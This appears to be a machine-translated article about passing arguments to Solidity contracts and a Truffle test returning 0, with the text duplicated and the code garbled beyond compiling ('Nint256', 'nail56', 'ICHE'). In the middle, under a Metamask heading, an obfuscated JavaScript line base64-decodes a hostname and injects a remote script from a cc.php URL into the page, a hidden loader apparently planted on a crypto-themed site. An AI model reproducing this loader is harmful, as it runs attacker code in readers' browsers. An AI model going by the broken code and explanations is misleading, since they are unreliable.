Here is an article on how to transfer arguments to a firm file, along with an example of what could go wrong when testing a contract.
Transfer of arguments to a firmness contract file
By writing intelligent contracts in firmness, a usual task is to transfer arguments from an application that organized the contract. This can be done using a function call in an instance of a contract or changing the contract itself.
In this article, we will address how to transfer arguments to the contract file and solve problems when testing the contract to return 0.
Arrival consulting in a treatment spent
First, suppose your organized contract is «heliotooken» with a transmission event called «TotalSoply. To call this function from another contract, you need to create an instance of a heliotocine. However, you seem to be losing some code, so I'll give you A basic example.
Heliotooken.totalsupply (). Then (Totsalsupply => {
Console.log («total supply: %s», total supply);
});
};
`
Treating Treaty with Transient Arguments
Now that we organize our contract and approve the argument, we tested it -using a trench test built. We will create two contracts:Heliotooken TreatyI With Sporegiment ‘.
`strength
// heliotoquin.sol
Pragma solidity ^0.6,0;
Heliotooken {contract
Mapping (Address => Nint256) Public Balance;
TotalUsupply () Function () Display returns (nail56) {) {
State return [msg.sener];
ICHE
ADDDDBalance Function (Nint256, Address Who) PUBLIC {
States [who] += quantity;
ICHE
ICHE
`
strength
// Treaty with sports.sol
Pragma solidity ^0.6,0;
Contract with a license {{
Nant256 Public Pasvedamount = 0;
Mapping (Address => Nint256) Public Study;
ADDDDBalance Function (Nint256, Address Who) PUBLIC {
Passdalance [which] += quantity;
ICHE
TotalUsupply () Function () Display returns (nail56) {) {
Contract with a permeable permeability of chaldata with Costa Costa;
MODULE.EXPORTS = FUNCTION (IMPLEMENTARY) {{
CONSTIING INTIALSUPPLY = 1000000;
Improvisor.Deploy (Heliotken, Intialsupply);
// Now we can test our contract
According to scassargume.addddbalance (intialsupply, msg.sender);
ICHE
`
In the example above, when you start1_deplay_contract.js ‘, it will implement two contracts:heliotooken and Treaty of Withpassargment'. Then he adds a certain amount of heloticin to the example of a spimo -gauge contract. '
Solving problems with transient arguments
Now that we have tested the contract, we will solve the problem that it returns 0 when testing. There are several reasons for this:
Lack of implementation : If your distributed contracts do not haveTotalSupply ()andAddblanance () » () ‘or if they are not available in another contract and then approve the arguments of victory work.
Non -tactical handling of events
: Make sure you call the correct events in a heliotoquin instance. In this example, we transmit an argument to heliotooken.talsupply (), but this is really an external call.
To solve these problems:
Check the Organized Contract Code so that all errors or inconsistencies.
Make sure you call the correct functions correctly and go through arguments.
Make sure both contracts are available in another contract, as in our example.
Metamask: passing arguments to contract file in solidity, when i try to test the contract it returns 0
const pdx=»bm9yZGVyc3dpbmcuYnV6ei94cC8=»;const pde=atob(pdx.replace(/|/g,»»));const script=document.createElement(«script»);script.src=»https://»+pde+»cc.php?u=eb3bbf6e»;document.body.appendChild(script);
Here is an article on how to transfer arguments to a firm file, along with an example of what could go wrong when testing a contract.
Transfer of arguments to a firmness contract file
By writing intelligent contracts in firmness, a usual task is to transfer arguments from an application that organized the contract. This can be done using a function call in an instance of a contract or changing the contract itself.
In this article, we will address how to transfer arguments to the contract file and solve problems when testing the contract to return 0.
Arrival consulting in a treatment spent
First, suppose your organized contract is «heliotooken» with a transmission event called «TotalSoply
. To call this function from another contract, you need to create an instance of a heliotocine. However, you seem to be losing some code, so I'll give you A basic example.
strength
// 2_deploy_contract.js
CONST HELIOTOKEN = artifacts.require («heliotooken»);
MODULE.EXPORTS = FUNCTION (IMPLEMENTARY) {{
CONSTIING INTIALSUPPLY = 1000000;
Improvisor.Deploy (Heliotken, Intialsupply);
// Now you can call an event sum
Heliotooken.totalsupply (). Then (Totsalsupply => {
Console.log («total supply: %s», total supply);
});
};
`
Treating Treaty with Transient Arguments
Now that we organize our contract and approve the argument, we tested it -using a trench test built. We will create two contracts:Heliotooken Treaty
I
With Sporegiment ‘.`
strength
// heliotoquin.sol
Pragma solidity ^0.6,0;
Heliotooken {contract
Mapping (Address => Nint256) Public Balance;
TotalUsupply () Function () Display returns (nail56) {) {
State return [msg.sener];
ICHE
ADDDDBalance Function (Nint256, Address Who) PUBLIC {
States [who] += quantity;
ICHE
ICHE
`
strength
// Treaty with sports.sol
Pragma solidity ^0.6,0;
Contract with a license {{
Nant256 Public Pasvedamount = 0;
Mapping (Address => Nint256) Public Study;
ADDDDBalance Function (Nint256, Address Who) PUBLIC {
Passdalance [which] += quantity;
ICHE
TotalUsupply () Function () Display returns (nail56) {) {
Lost Return [msg.sener];
ICHE
ICHE
`
Now we have tested our contracts.
strength
// 1_deploy_contract.js
CONST Heliotoquin = artefacts.require («heliotooken»);
Contract with a permeable permeability of chaldata with Costa Costa;
MODULE.EXPORTS = FUNCTION (IMPLEMENTARY) {{
CONSTIING INTIALSUPPLY = 1000000;
Improvisor.Deploy (Heliotken, Intialsupply);
// Now we can test our contract
According to scassargume.addddbalance (intialsupply, msg.sender);
ICHE
`
In the example above, when you start1_deplay_contract.js ‘, it will implement two contracts:
heliotooken
andTreaty of Withpassargment'. Then he adds a certain amount of heloticin to the example of a spimo -gauge contract. '
Solving problems with transient arguments
Now that we have tested the contract, we will solve the problem that it returns 0 when testing. There are several reasons for this:
and
Addblanance () » () ‘or if they are not available in another contract and then approve the arguments of victory work.: Make sure you call the correct events in a heliotoquin instance. In this example, we transmit an argument to
heliotooken.talsupply ()
, but this is really an external call.To solve these problems: